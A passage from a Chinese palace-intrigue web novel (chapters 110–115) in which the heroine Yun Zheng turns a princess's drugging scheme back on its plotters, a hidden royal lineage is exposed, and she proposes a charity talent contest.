就在此时,一道清脆的声音猛的响起,“咦,好热闹啊,你们在干吗?” 厉无恙猛的转头看过去,熟悉的身影映入眼帘,悬在空中的心落到实处。 明知,她不会轻易中招,但,还是会担心。 云筝冲他微微一笑,两人交换了一个眼色。 大家目瞪口呆,什么情况? 永宁长公主脸上的笑意僵住了,不敢置信的质问,“云筝,怎么是你?你怎么在这里?” 云筝奇怪的反问,“我不在这里,还能在哪里?” 永宁长公主的视线落在她身上,惊疑不定,“你没换衣服?” 云筝一脸的坦然,“我从小到大就没穿过别人的衣服,不习惯啊,所以,一直在等丫环给我送衣服过来。” 她故意问道,“怎么了?” 永宁长公主眉头紧皱,“你……你……” 她脑子飞转,“那里面的人是江城郡主?” 这种时候了,还要将江城郡主拖下水。 江城郡主不知从哪里冒出来,“叫我吗?我在这里。” 永宁长公主脸色大变,惊怒交加,“那……谁在里面?” 云筝很随意的说道,“不知道啊,砸门进去看一眼喽。” 一个下人上前,准备踢门。 永宁长公主有种不好的预感,赶紧喝止,“还是别看了,都是未婚男女,这不是你们该看的。” 云筝笑眯眯的道,“没事哒,大家可以捂着眼睛,透过指缝看。” 这不是掩耳盗铃吗? 永宁长公主心乱如麻,纪语儿年少,最沉不住气,“我小姑姑呢?她不是跟你们在一起吗?她在哪里?” 云筝微微一笑,“她?她半路说肚子疼,自己跑了。” 她的笑容意味深长,好像洞悉了一切。 长公主见状,不禁遍体生寒,冷,好冷。 厉无恙右手一挥,手下冲上前一脚,“怦”一声,门开了。 “不要。”永宁长公主猛的冲上去阻止。 但来不及了,里面活色生香的场景映入众人的眼帘,刺激着大众的眼球。 一道尖叫声猛的响起,“啊,是纪芳菲,跟野男人乱搞的是纪芳菲。” “快看看,那野男人是谁?” “怎么是他?!妈呀,太刺激了!” 第110章 他们敢做初一,她就敢做十五 有人眼尖,认出了白花花的男人,“是纪七爷 !” 倒抽冷气声此起彼伏,众人都惊呆了。 “纪芳菲的七叔?天啊,太离谱了。” 纪七爷是个纨绔子弟,玩的很花,妻妾成群,就是没孩子。 “纪家这么不讲究吗?好刺激,这算不算那啥呢。” 大家像打了鸡血般激动,个个睁大眼睛,指指点点,议论纷纷。 未婚姑娘有些不好意思,纷纷捂着眼睛,但悄悄透过指缝偷看。 这种看活春宫的机会不多,能看一眼是一眼。 啧啧,这纪七爷胖成猪,脖子上的肥肉一颤一颤的,很是猥琐。 一朵鲜花插在牛粪上。 啊,不对,他们可是血亲…… 几位皇子的神色很复杂,下意识的看向云筝。 这是个狠角色,下手太狠辣,全然不给对手活路。 长公主眼前一黑,差点晕过去,“出去,快出去。” 但,没人动。 明镜司还故意将门开的更大,让大家看的更清楚。 长公主快气晕了,明镜司可不听她的。 “九皇弟,你快管管他们。” 厉无恙懒洋洋的瞥了一眼,“看个热闹而已,怎么了?” “你……你……”长公主忽然意识到,她将厉无恙得罪死了,他就是故意不给她面子。 就为了一个外人,让自己的亲姐姐难堪?她要告御状。 她猛的看向一边看热闹的红衣女子,“云筝,你怎么敢?” 一定是她干的!她好歹毒! 云筝一脸的无辜,眼神却冰冷的可怕,“永宁长公主,你这话是什么意思?我怎么听不懂?” 他们敢做初一,她就敢做十五。 纪语儿这才反应过来,气的浑身发抖,恨不得扑过来咬一口。 “云筝,你毁了我小姑姑,我们纪家不会放过你的。” 云筝冲她微微一笑,全是挑衅之意。 只许他们算计自己,她却不能反抗?笑话,这世上没有这样的规矩。 她可不会坐以待毙。 就算死,也要溅对方一身血。 几个年轻男人站出来指责,“锦云郡主确实太过分了,心性太过残忍。” “就算有什么误会,也不该如此糟蹋人家好姑娘。” 云筝扬了扬下巴,看向屋内,“好姑娘?你要吗?要不,进去一起玩?” 那人面红耳赤,又羞又恼。 “锦云郡主,你太不应该了,做人做事都有问题。” 云筝冷笑一声,“我记下你们的名字了,别让我抓住把柄,否则,呵呵。” 她桀骜不驯的样子,把他们气坏了,但,也怂了。 她是个疯子,什么都敢干。 长公主愤怒至极,“女孩子的清白有多金贵,你不知道吗?你也是女子,你怎么能一手毁掉一个女孩子的一生?” 在她眼里,云筝可以随意毁掉,随便找人糟蹋,但纪芳菲不行,那是她精心培养出来的,要嫁进皇室的棋子。 可,她的精心安排全毁了,毁在云筝手里。 云筝做事向来滴水不漏,不会被人抓住把柄。 “长公主,此话差矣,这是你的公主府,满府的奴婢都听你的话,你掌控着这里的一切,我在你的地盘可做不了什么手脚。” 她打死也不认。 “换句话说,府里任何风吹草动都瞒不过你的眼睛,发生这样的事,是你默许的,或者说是你一手推动的。” 长公主脸色大变,是她一手安排的,但跟纪七爷厮混的人应该是云筝! “你胡说。” 云筝一脸的同情,“长公主,你和纪小姐有什么矛盾,非把她往死里整?唉,可怜啊。” 她轻轻叹了一口气,“九千岁,女子不易,就清场吧。” 厉无恙微微蹙眉,一脸的不认同,“你的心肠太软,太良善了,容易被人欺负。” 众人:……良善?没听错吧? 长公主:……他眼瞎吗? 三皇子:……常规操作而已! 水榭外,九曲桥连着一座凉亭,云筝懒洋洋的倚在栏杆上。 “我是不是太残忍了?” 她只是以其人之道,还治其人之身。 坐在轮椅上的厉无恙看着波光粼粼的湖面,眼神微冷。 如果被长公主算计成功了,那躺在里面的就是云筝,光是想想那个画面,他内心就涌起一股嗜杀的暴虐。 “你没有错,太心软只会被人啃食的是尸骨无存,你从未主动攻击过任何人,每次都是被迫反击。” 在宫中,善良的人是活不长的。 “而且,这一局不仅是后院阴谋算计,还是你死我活的政治博弈。” 云筝的眼睛瞬间瞪圆,“什么意思?” 厉无恙一语道破纪家的隐秘,“纪七爷并不姓纪,不是纪家人,他的身份很特殊,永宁长公主故意拉他入局,不光是为了你点石成金的能力,为她所用,也是为了斩断我的左膀右臂。” 云筝心里一动,“你和永宁长公主有仇?” 有些事情厉无恙不愿意跟人说,但,看着她黑白分明的眼睛,他鬼使神差般说了出来。 “我娘本来是有未婚夫的,成亲之前被永宁长公主算计,献给了先皇。” 献?这个词让云筝联想到很多。“也是下药?” 厉无恙微微颔首,永宁长公主就是这么不择手段的人。 不过,人算不如天算,先皇对他娘宠爱无比,不顾所有人的反对,将她捧上皇后的宝座。 这也招来了无数怨恨和敌意。 原来是老惯犯了,云筝撇了撇嘴,有些不屑。 “给亲爹献女人,她怎么做的出来?怎么对得起生她养她的亲娘?” 厉无恙神色淡漠,“为了巩固地位,无所不用其极,这就是皇室中人的本质。” 云筝笑眯眯的说道,“您不一样。” 她真的很爱笑,笑起来眉眼弯弯,梨窝浅浅,太有感染力了。 看着她俏皮的笑脸,厉无恙的心情莫名的飞扬起来,“哪里不一样?” 云筝一双明眸灿若星辰,“您,骄傲,自负,宁可战死,也不肯跟那些人同流合污。” 这一刻,四周仿佛静止了,他心底有一朵桃花悄然绽放,随风摇曳。 春天到了,空气都是甜的。 云筝清脆的声音响起,“那,纪七爷到底是什么人?” 厉无恙一顿,眼中的迷情渐渐消散。 “能让长公主和纪家倒大霉的人,皇上这些年睁一只眼闭一只眼,他们偏偏要翻旧账,真是找死。” 第111章 狗咬狗 纪芳菲被冷水泼醒,混沌的脑袋一片空白,这是哪里? 身体好疼,像被什么辗压过般不舒服。 耳边传来熟悉的声音,“芳菲,你还好吗?” 是长公主,室内只有她一个人,其他人都被清场了。 纪芳菲可怜兮兮的眨了眨眼睛,“嫂子,我疼,好疼。” 但,长公主眼中的怜悯,让她瞬间想起之前的事情,脑海闪过无数不堪的片段。 “啊啊啊。” 她彻底发疯了,失控的尖叫。 长公主静静的看着她发疯,不知过了多久,纪芳菲发泄完了,像泄了气的皮球倒在床上,嘴里喃喃自语。 “这不是真的,我一定在做梦。” 长公主这才轻轻叹了一口气,“芳菲,冷静些,事情发生了,那就想办法解决。” 看到的人实在太多了,没法移花接木,也不能装什么事情都没发生过。 “七爷那边……” 纪芳菲恶心的吐了,浑身发颤,“别说了,别说了。” 她当时被药物控制,神智全无,但事后脑子清醒无比,所有细节都记的清清楚楚。 就连,厉无恙带着一众人闯进来,都有印象。 她越想越难受,歇斯底里的尖叫。 “云筝,为什么不是你?明明应该是你。” “云筝,我要杀了你,啊啊啊。” 门被重重踢开,云筝出现在门口,笑靥如花。 “纪芳菲,恭喜你出名了,大家都记住了你那不为人知的一面。” 她已经嘴下留情,很婉转了,没有挑刺激的字眼,但,纪芳菲还是气的眼眶充血,咬牙切齿,“云筝。” 永宁长公主气恼不已,“云筝,你一定要逼死她才罢休吗?” 云筝笑眯眯的说道,“我是个老实人,只是实话实说而已。” 纪芳菲一想到自己脏了,名声尽毁,满脑子都是恨意,恨天恨地恨云筝,想让所有人给她陪葬。 “嫂子,帮我杀了云筝,现在,马上。” 这是灭口?还是泄愤? 永宁长公主越过云筝,看向院子,黑压压的人群 。 她一眼就看到了人群里的厉无恙,虽然坐着轮椅,但比几位金尊的皇子还要显眼。 她还看到了五花大绑跪在院子里的纪七爷,他一脸的茫然,衣服胡乱穿着,脸上还有一丝潮红。 “九皇弟,我希望这件事不要宣扬出去,让所有人禁言。” 现场这些人出身高贵,尤其是皇后和皇子们都不是她能掌控的,只能借助厉无恙的手弹压。 厉无恙懒洋洋的把玩着扳指,“本王可管不了。” 做了恶心人的事,还指望他善后,真敢想,做人就是这么无耻。 永宁长公主又气又恼,却无可奈何。 屋内的纪芳菲听到九千岁的声音,浑身一颤,脸色忽青忽白。 她还能嫁九千岁吗? “他……也看见了?” 云筝不置可否,扬声道,“纪七爷,出了这样的事,你打算怎么负责?” 纪七爷呆呆的看着她,他到现在也不知道事情怎么会变成这样。 明明说好了是国色天香的大美人,还有万贯家财,只要将她弄到手,这辈子都不用愁了。 可,一睁眼变成了亲侄女,他受到了巨大的惊吓。 “他有妻妾了,要不,再纳一房?” “说什么鬼话?他们是亲叔侄,怎么可能在一起?” “那怎么办?” “送去寺庙当尼姑呗。” 反正,没人娶她了,纪家还会因此事承受巨大的舆论压力,名声尽毁。 以后纪家子孙婚嫁都难了,已经出嫁的姑奶奶也不好说了。 纪芳菲忽然坐起来,大声嚷道,“九千岁,我是被云筝害的,她把我毁了,求您为我作主啊。” 厉无恙冷笑一声,“弄脏她衣裙的丫环,是你纪家的。” “带她来水榭的丫环,也是你纪家的 。” “闯进水榭的男人,也是你们纪家的。” “在你们纪家的地盘上出了这种丑事,还将责任推给别人,真下作。” 纪芳菲气哭了,“不是这样的,你查啊,我真的是无辜的。” 大家不懂她的意思,都这样了,为何还要反复提自己是无辜的? 云筝挑了挑眉,有点明白她的脑回路。 这个黑锅扔给云筝,然后把自己包装成无辜的小白花,世人都是同情弱者的。 拉她一起共沉沦呗。 厉无恙的眼睛微微眯起,“行,来人,给本王查,彻查此事。” “最后结果本王要公告天下。” 这事根本经不起查,明眼人一眼就看明白了,这是纪家算计云筝不成,反被摆了一道。 公告天下?纪芳菲脸色大变,“不行。” 永宁长公主也急了,她有儿有女,都还没有婚配。 “九皇弟,请您高抬贵手,别把人往死里逼,这事就到此为止吧。” 先将此事糊弄过去,账,以后再算。 厉无恙的视线落在门口,悠悠的说道,“这事没完。” 永宁长公主顺着他的视线看过去,瞳孔剧震,“族长,各位族老,你们怎么来了?” 纪氏一族的长辈倾巢出动,个个神色凝重。 纪家族长没好气的喝道,“出了这样的丑事,还想瞒着我们?” 永宁长公主平时可不怕这些老东西,但,这关键时刻,只能暂时隐忍。 “这些小事本宫可以处理的。” 纪家族长气的发疯,“小事?那什么才算是大事?” “本宫……”永宁长公主有所忌惮,如果没有猜错的话,这些人是被厉无恙叫来的。 纪家族长冷冷的道,“永宁长公主,你虽然贵为公主,但,也是我纪家妇,纪家的规矩由我说了算,就算是御前我也敢这么说。” “把纪芳菲拖出来。” 他一声令下,将躲在屋内的纪芳菲拉出来。 他看着跪在地上的两人,眼神复杂至极。 “为了家族的声誉,你们两人……自尽吧。” 纪七爷不干了,“我不要,族长,我是无辜的,是长公主逼我干的。” 永宁长公主喝斥,“胡说,本宫怎么可能做这种事?” 纪芳菲满眼的绝望,她亲爹还在别庄养老,亲娘难产去世,她是跟着嫂子长大的。 可,如今,嫂子也保不住她了。 忽然,她扑向一边的厉无恙,“九千岁,求您救救我。” 还没有靠近,就被手下一脚踢开,她立马又爬了回来,“只要您说一声,没人敢伤害我,救救我。” 厉无恙神色淡漠极了,“国有国法,家有家规,本王不掺和别人的家务事。” 谁知,纪芳菲眼睛刷的亮了,“那您娶我啊,那就是自家的事了。” 现场瞬间安静,鸦雀无声,大家呆若木鸡。 云筝:她没病吧? 厉无恙:晦气!恶心他?那,就放大招了! 第112章 匕首和毒药,选一样吧 厉无恙神色冰冷,“纪族长,你若处理不好此事,那就呈上去,请皇上亲自圣裁。” 谁都知道,皇上最厌恶这种丑事。 纪家族长吓出一身冷汗,拼命摇头,“皇上日理万机,这种家务事就不劳烦皇上了。” 这可不是一般的丑闻,把皇上恶心到了,纪家就要倒大霉。 纪芳菲还在眼巴巴的哀求,“九千岁,您娶我吧,救人一命胜造七级浮屠。” 谷雨忍无可忍,“残花败柳也敢觊觎我家王爷?你也配?不知廉耻。” 纪芳菲听而不闻,全然豁出去了,深情款款的告白。 “九千岁,我从小就喜欢您,只想嫁给您,求您念在这一片真情的份上,救救我。” 对于痴恋自己的女人,男人就算不喜欢,也会有一种莫名的心软。 纪芳菲眼中含泪,楚楚可怜,“我不要名份,只要能在王爷身边侍候,我就心满意足了。” 云筝撇了撇嘴,纪芳菲的小心思真多,明知不可能嫁给厉无恙,还玩这套把戏。 先提一个过分的要求,再提一个小的要求,这样同意的机率大,这叫让步术。 先是求嫁,被拒后退一步。 不求娶,不求纳,只求随侍一侧,够卑微了吧,只要九千岁动了一点恻隐之心,她就能全身而退。 留得青山在,不怕没柴烧。 若是能留在九千岁身边,那更好了,总能找到机会翻盘。 这世上大部分男人怜香惜玉,都会心软。 但,九千岁可不是一般人,“本王嫌脏。” 纪芳菲脸色惨白如纸,心中恨意如野草般疯长。 “王爷为何对云筝一个弃妇如此爱护,却对我如此刻薄?” 厉无恙神色清冷的可怕,“她不是弃妇,她坦荡,勇敢,赤诚,热烈,跟你们截然不同。” “最重要的是,她很有用,于国于民于朝廷于军队,都有用。” 所以,你凭什么跟她比呢? 云筝心里美滋滋的,她在九千岁眼里就这么好? 纪芳菲如被狠狠打了一巴掌,“王爷,我和她到底哪里不同?” 她自问出身高贵,祖父这一代也曾辉煌过。 云筝呢?不过是一个商贾之女,祖祖辈辈都是贱民。 云筝翻了个白眼,说到底,她不愿意承认输给 一个商贾之女。 厉无恙神色一冷,“你,心思阴暗的废物。” “她,是皇上认可的栋梁之才。” 非逼他将话说的这么难听,她自找的。 纪芳菲难堪到了极点,“不就是会挣钱吗?商贾小道而已,浑身铜臭……” 厉无恙没有了耐心,“既然如此,那本王直接将此事报给皇上。” 纪族长不禁急了,“不不不,王爷开恩,让我来处理。” 他让人端来匕首和毒酒,“纪芳菲,纪七,你们选一样吧。” 两人吓的瑟瑟发抖,纪芳菲眼泪都下来了,“嫂子,救我。” 永宁长公主眉头紧皱,“族长,她年纪还小,是被人害了,不如就网开一面,送她去寺庙落发为尼吧。” 纪家族长犹豫了一下,他并不想将永宁长公主得罪死了,下意识的看向厉无恙。 厉无恙冷冷的看着他们,像看着一群跳梁小丑。 纪家族长心一沉,九千岁不肯高抬贵手。 “你们俩以死保全家族的清名。我会将你们葬在祖坟,不会让你们成为孤魂野鬼。” 但,两人坚决不肯自尽。 纪家族长见状,挥了挥手,“送他们一程。” 族人们上前执行,按住两人的身体,拿起毒药往嘴里灌。 两人拼命反抗,现场一片混乱,其他人默默远离。 眼见毒药就要被灌进嘴里,两人心生绝望之际,永宁长公主再也忍不住了,“统统住手,谁敢动他们,就是跟本宫过不去。” 她还让手下们过去阻拦。 厉无恙嘴角轻扬,她终于站出来了,证据确凿。 “谷雨。” “属下在。” 厉无恙下令道,“将这里的事报给皇上。” “是。”谷雨应了一声,飞奔而去。 永宁长公主脸色微变,有种不好的预感。 早不早,晚不晚,偏偏在她站出来后上报,这是巧合吗?怎么像是专等她站出来? 难道,他知道了那个秘密? 不,不可能的,那是四十年前的事了,他不可能知道。 纪家人吓坏了,苦苦哀求,“不不不,我们自己动手。” 纪家族长使出了杀手锏,“长公主,你若再阻拦,就将你们全家除族。” “长公主,您真的想让你的一双儿女成为无族之人?” 永宁长公主神色挣扎而又不安。 就在此时, 一道清喝声猛的响起,“手下留情。” “驸马来了。” 纪驸马长相俊美,年到中年依旧风度翩翩,“九千岁,纪七不是我们纪家的人,他是我父亲领养的孩子。” 这话一出,所有人都瞪大眼睛,真的假的? “这两人情难自禁做了不好的事,但男欢女爱是人之常情,请九千岁成全他们。” 他短短两句话,就将事情轻飘飘的一笔带过。 纪七如溺水者抓到了最后一根浮木,眼睛都亮了,“对对,我不是纪家人,我跟纪芳菲不是亲叔侄。” 只要保住性命,让他姓什么都行。 “我娶她。” 驸马神色平和,“我们纪家也不是不讲道理的人,不会让你休妻,就……平妻吧。” “是是。”纪七感激涕零,还是嫡长兄好啊,为了保住他的命,不惜撒下弥天大谎。 云筝眼珠滴溜溜的转,“纪七是谁家的孩子?” 驸马深深的看了她一眼,神色莫名,“孤儿,父母不明。” 云筝嘴角轻轻上扬,“确定不明?” “是。”驸马语气无比坚定。 厉无恙冷冷的喝斥,“撒谎。” 纪驸马神色严肃的举起右手,“九千岁,我敢对天发誓,我所说的每一句话都是真的,若是假的,就让我……” 他顿了顿,云筝脆声道,“纪家满门抄斩。” 纪驸马眉头微蹙,纪语儿勃然大怒,“这关你什么事?闭嘴。” 云筝似笑非笑,“不敢吗?” 纪驸马深吸一口气,“就让我纪家满门抄斩。” 他的话音刚落,厉无恙就淡淡的开口,“纪七,生父是前朝戾太子,生母是烟花女。” “轰隆隆。”如一颗重型炸弹在人群里炸开。 所有人变了脸色,妈呀,天要被捅破了! 第113章 胆敢违抗者,杀 厉无恙淡淡的道,“四十年前,宫变那晚戾太子带领一支军队攻进宫中,企图谋朝篡位,事败后全家满门抄斩,一个不留,只有养在外面的纪七逃过此劫。” “那时,纪老爷子是戾太子的老师,将襁褓中的纪七偷偷带回来,充作亲儿养大。” 短短一句话,就道出了四十年前的深宫波谲云诡。 纪驸马脸色发白。 纪家族长的脸色难看到了极点,“这不可能!” 嘴上虽这么说,但心里清楚这事错不了。 糊涂啊,怎么能收留罪人之子?这世上没有不透风的墙! 永宁长公主身体摇摇欲坠,强撑道,“九皇弟,你这现编的还挺像一回事。” 厉无恙一句话就戳破了她的幻想,“皇室密档中有记载。” 永宁长公主瞳孔剧震,脸上瞬间失了血色。 宫中早就知道了?那她费尽心机搞事情,在皇上和厉无恙眼里,就是跳梁小丑? 可是,为什么皇上没有追究?这不符合他多疑猜忌的性格。 厉无恙淡淡的道,“皇上仁厚,睁一只眼闭一只眼,没有斩尽杀绝,永宁长公主,你却故意设下这样的圈套,将纪七卷进来,这是想干什么?” 那是先皇夺嫡时的事,先皇没有追究,当今圣上自然也不会多事。 永宁长公主心乱如麻,但,她的反应极快。 “我根本不知道这个秘密,何来的故意设圈套?九皇弟,我知道你想为锦云郡主出口气,才这么说的。” “今日是我不对,我作为主人,没有保护好客人。” “锦云郡主,我向你赔个不是,当我欠你一个人情,你以后有事尽管来找我,我有求必应。” 抛出这么大的诱饵,一般人都会欣喜若狂。 但,云筝聪明绝顶,一眼看出了诱饵下的剧毒。 利用她陷害她,如今又拿她当挡箭牌,想什么美事呢? “我有事只会求九千岁,再不行,就去求皇上呗,你不行!没用!” 一句耿直的实话,把永宁长公主气的浑身发抖,也让众人哭笑不得。 是啊,这世上最有权势的人除了九千岁,就是皇上。 纪七瘫坐在地上,眼神呆滞,直勾勾的看着地面,脑子里浮现无数片段。 他虽是庶子,但从小得到了最多的偏爱,要什么有什么,吃不了读书的苦,那就不学。 其他兄弟苦哈哈读书时,他在玩蛐蛐。 其他兄弟练习骑射时,他在青楼偎红倚翠。 他曾经为这样的偏爱得意洋洋,可,真的是偏爱吗? “九千岁,我不相信,我若是戾太子之子,皇上怎么可能不斩尽杀绝?” 厉无恙眼神凉薄,“因为,你这辈子都无法生育,不可能有子嗣,戾太子一脉到你为止。” 纪七浑身剧震,嘴唇直哆嗦,“所以,早就在我身上动了手脚?” 厉无恙看着这个早就被养废的家伙,内心没有波澜。 “你该庆幸,你还活着。” “若没有今日这事,你的身世将尘封在历史中,安安稳稳的度过余生。” 一旦挑破,那注定不得安宁,生死难料。 他的视线落在纪驸马身上,眼中闪过一丝淡淡的嘲讽,人淡如菊?呵呵。 “要怪,就怪纪家和永宁长公主野心勃勃。” “来人,将纪家众人看管起来,等皇上示下。胆敢违抗者,杀!” “是。” 他一声令下,没人敢抵抗。 男的一屋子,女的一屋子,都被关起来,重兵把守。 被牵连的纪家族人又气又怕,连声抱怨。 族长嘴唇直哆嗦,气恼极了,“都过去了四十年,为什么还要翻出来?驸马,你糊涂啊。” 纪驸马低头不语。 皇后茫然四顾,这春日宴就这么搞砸了?这怎么向皇上交待? 身边的老嬷嬷战战兢兢的问道,“皇后娘娘,宴会还继续吗?” 皇后迟疑了一下,看着满园子花枝招展的年轻姑娘,“继续。” 花园,大家吃吃喝喝,欢声笑语,像是什么事情都没发生过。 有人提议道,“干坐无趣,不如玩点游戏,大家有什么好的建议?” 大皇子妃笑道,“要不,表演才艺?” 大家就等着这句话呢,雀跃不已。 大皇子妃问道,“谁先来?” 青云书院院长的孙女顾小姐第一个站出来,“我来。” 她素有才名,琴棋书画皆精。 她坐在古琴前,深吸一口气,手放上去,悠扬的琴声响起。 云筝挺佩服这些人的心理素质。 江城郡主轻笑道,“事不关己嘛。” 云筝笑眯眯的点头,“也是,给皇子们选妃比什么都重要。” 两人都无欲无求,姿态放松的叽叽喳喳。 三皇子没好气的瞪了她们一眼,吵死了! 一曲弹罢,如雷鸣般的掌声响起,两人随大流拍了几下,态度很敷衍。 顾小姐忽然看了过来,“锦云郡主,你觉得我弹的如何?” 云筝有些茫然,她们不熟吧?“还行。” 顾小姐抿嘴,她弹琴时居然还在聊天,这是对她,对艺术的不尊重。 “什么叫还行?你到底懂不懂呀?” 云筝随口道,“弹错了两个音,第一节有点紧张,收尾时,太急于求成,又错了。” 顾小姐神色僵住了,她那么敷衍的态度,居然还能听出来? 户部尚书家的公子不乐意了,他对顾小姐一见倾心,立马站出来。 “你这么懂,那让大家开开眼界呗。” 几个公子纷纷附和,“你行,你上啊。” 云筝这性格爱憎分明,敢爱敢恨,口碑两极分化。 喜欢她的喜欢极了,讨厌她的讨厌的要命。 不少年轻公子看不惯她,觉得她抢走了他们的风头和资源,得到了他们梦寐以求的圣宠和关注。 云筝眼珠一转,来了鬼主意,“这太小儿科了,没意思,要玩就玩大的。“ 江城郡主很捧场,“怎么玩?” 云筝看着在场的年轻公子和名门千金们,眼睛闪闪发亮。 薅小肥羊,拿捏六部尚书的机会来了! 哈哈哈,她要立功!她要和离! “皇后娘娘有没有兴趣挣点钱?” 厉无恙一看她这小表情,就知道她要搞事情了,嘴角微微上扬。 有点期待! 宫中是世间最奢华无度的地方,但其实有着严格的等级制度,吃穿用度都有限制。 身为一国之母,自然是不缺的,但开销也大。 这个太有了!谁不知道她有点石成金的能力? 皇后娘娘坐直身体,眼睛瞬间发亮,这快乐轮到她了吗?“说说看。” 第114章 小滑头,大奸商 云筝笑眯眯的说出答案,“才艺大比拼,两两对抗。” 大家没听懂,“谁跟谁对抗?” 云筝指着众人说道,“你们组成两队,各推举一名队长和两名副队长,每队准备十个节目参加比赛。” 众人心里一动,这比赛过程中有很多接触机会,还能展现各自的才华,风风光光一回。 当队长和副队长还能展现组织能力,表现的好,就能入帝后的青眼。 一想到这,大家都蠢蠢欲动,眼睛闪闪发亮。 江城郡主觉得没有这么简单,“男女各一队?” 云筝笑容狡黠如狐,“不,混合组队,男女皆可,混团车轮战。” 妈呀,光是想想就好刺激。 深受男女大防管束的贵族公子小姐们,没有多少跟外男外女接触的机会,突然有这么一个机会,都疯狂心动。 听上去太有意思了,人不轻狂枉少年。 云筝还加上了一个筹码,“赢的一方,可以请皇上赐字,你们的家族会为你们而骄傲的。” 相信,皇上会很乐意的,区区几个字就能换得大笔的入账。 一听这话,大家如打了鸡血般激动。 皇上赐字,多大的荣耀,想要! 父兄办不到的事情,他们做成了,那得多风光啊,在家里能横着走了! 不管是为名,还是为了得到皇上的青睐,还是为家族争得荣耀,他们都会全力而战! 谁都别想阻止他们! 一时之间,大家斗志昂扬,气氛空前的热烈。 几位皇子看看众人,又看看笑眯眯的云筝,眼神复杂至极。 这确实是个人才,难怪父皇那么看重。 若,能得到她的助力,钱财方面就不用愁了。 怎么才能让她主动投诚呢? 皇后深深的看云筝一眼,她短短几句话,就将这些人轻轻松松拿捏住了。 “那怎么挣钱?”她只关心这个。 云筝笑眯眯的开口,“在我家别院举办比赛,收门票钱,茶钱。” 父母搬去了新宅,旧宅就空了下来,空放着也是浪费,打理也需要一大笔钱,不如开辟一条财源。 她说的轻飘飘,但皇后知道上次拍卖会光靠门票钱和茶点钱就挣了好大一笔钱。 大家面面相觑,门票?“那谁来观看?” 云筝眼珠滴溜溜的转,“只要出得起门票钱,就能进来,当然,你们的家人可以免费进。” 户部尚书的公子蹙眉,“若输了,可不光彩。” 云筝没好气的瞪了他一眼,“你怎么这么死脑筯?二十个节目呢,只要你表现的够出彩,怕什么?” “难道你承认,自己最差,是垫底的?” 户部尚书的公子心高气傲,怎么可能承认?“我是最优秀的,我不会输!” 首辅的公子迟疑不定,“这样不好吧,我们出身显贵,又不是戏子,岂能给别人表演?” 一个名门千金腼腆的表示,“女子无才便是德,我们女子要什么才名?贞静贤良才是美德。” “对啊,我们才不想像戏子那样表演给别人看,这是一种侮辱。” 大家很想比赛,但,又怕被人轻视,心情特别矛盾。 云筝一眼看穿他们的心思,不紧不慢的开口。 “那就,举办慈善拍卖表演赛,到时将宫中的首饰拍卖换钱,从中穿插着你们的表演赛。” “各位,你们哪是为了比赛,而是为了筹办慈孤院的资金出力,是在积德行善,比施粥布善还要好呢,大家都会夸你们仁慈心善,好名声一下子就有了。” 她将立意格局一下子拔高,将慈孤院的事巧妙结合在一起,任谁都挑不出毛病。 谁反对,谁就是没仁慈之心。 众人目瞪口呆,还能这么玩?她的脑袋到底是怎么长的? 云筝表情真挚极了,“你们也想帮帮那些无家可归的孤儿吧。” 江城郡主第一个响应,“对,我一想到那些可怜的孩子,就不忍心。” 秦素素用力点头,“我也想帮忙。” 其他人也纷纷附和,不管心里怎么想,这种在君前露脸的机会可不能错过,还能名利双收呢。 厉无恙嘴角轻轻翘起,真是个机灵鬼,脑子转的太快了,短短时间内就想到了这么一个绝妙的主意。 她把这个圈子最有权势的公子千金都聚拢过来,成为她手中的筹码,还高高兴兴的为她所用。 她不仅是经商奇才,还擅长将手头的资源利用到了极致。 难怪,她年纪轻轻就能将云家推到大齐首富的位置。 云筝看了过来,“当日所筹的资金,全部上交。” 至于帝后怎么分钱,那是他们的事。 皇后拒绝不了这样的好事,“那你有什么好处?” 云筝一本正经的说道,“皇上对我恩同再造,能为君王分忧,为国家出力,是我的荣幸。” 她说的正气凛然,让人感动不已,大家对她刮目相看,纷纷夸她品行高洁。 厉无恙眼中全是笑意,不得不承认,在这方面,她没有对手! 宫中,皇上挑了挑眉,似笑非笑,“她真这么说?” 皇后微微颌首,“是。” 皇上不禁轻笑,“小滑头,大奸商。” 他倒是不怀疑云筝的忠心,但,她做事向来喜欢共赢,你好我好大家好。 每次大家都能沾光,像明镜司和户部都得了她的好处,底层对她很有好感。 她自己没有一点好处是不可能的。 “你们啊,都被她骗了。” 皇后愣了一下,“啊?被骗了?” 她对云筝的了解远远不及皇上,皇上已经摸透了云筝的性子。 皇上摆了摆手,眉眼含笑,“不是坏事,朕曾经说过,让她再立一功,得到六部尚书一致认可,才许她和离。” “这一次,各位尚书的儿孙都被她捏在手心里,敢不认可吗?” “啧啧,她最聪明的一点,就是会借势。” 这是摆在台前的阳谋,让你看的清清楚楚,却无法拒绝。 皇后听明白了,心情有些复杂,“那,还要举行吗?” 皇上兴致极高,“当然,为什么不?朕很期待,锦云总能给朕带来惊喜。” 又有大笔的银子入帐,他的帝陵啊,终于又能复工了。 帝后商量了一番,皇后起身告退。 深夜,夜深人静,皇上疲惫的放下朱笔,揉了揉眉心。 “把永宁长公主和驸马带上来。” 该处理了。 “是。” 第115章 让她去当尼姑? 两人被五花大绑提了进来,狼狈不堪,再无昔日的雍容华贵。 两人被重重扔在地上,永宁长公主的心往下沉,立马俯首请罪。“皇上恕罪。” “皇上,我错了,不该被人挑唆了几句,就盯上了云筝的能力,想将她留在纪家。” “但也不能全怪我,云筝的挣钱能力太强了,谁不心动?” 她请罪还不忘黑云筝一把,怪云筝太有能力,害自己犯错。 皇上居高临下的看着这对夫妻,他自问待他们不薄,该给的都给了。 宗室女眷以永宁长公主为首,她最尊贵。 她到底还有什么不满的? “仅仅是这样?” 永宁长公主深吸一口气,“云筝和九皇弟走的太近,挡了我小姑子的路……我这是斩断他们的联系,一心一意为纪家卖命。” “纪家弱势,我一双儿女又是平庸之辈,我不得不为他们打算。” 她说的合情合理,但皇上一个字都不信。 “为什么是纪七?” 永宁长公主的心悬在空中,紧张的额头冒汗。 “因为他无法生育,不管挣多少钱,最后还是为我一双儿女做嫁衣。” 皇上的眼睛危险的眯了起来,看向另一个人,“驸马,你何时知道纪七就是戾太子之子?” 纪驸马脑袋伏地,诚惶诚恐道,“我祖父去世时才知道的,事情过去了那么多年,我只能继续隐瞒,皇上,我们纪家绝无反心,请您明查。” 皇上眼神冰冷的可怕,“收留反贼之子,是大罪。” 纪驸马声音苦涩,“臣知道,但,别无选择,臣知道总有一天会事发,这些年惶惶不可终日。” 皇上冷笑一声,“所以,你才千方百计求娶永宁?” 纪驸马沉默了良久,“是。” 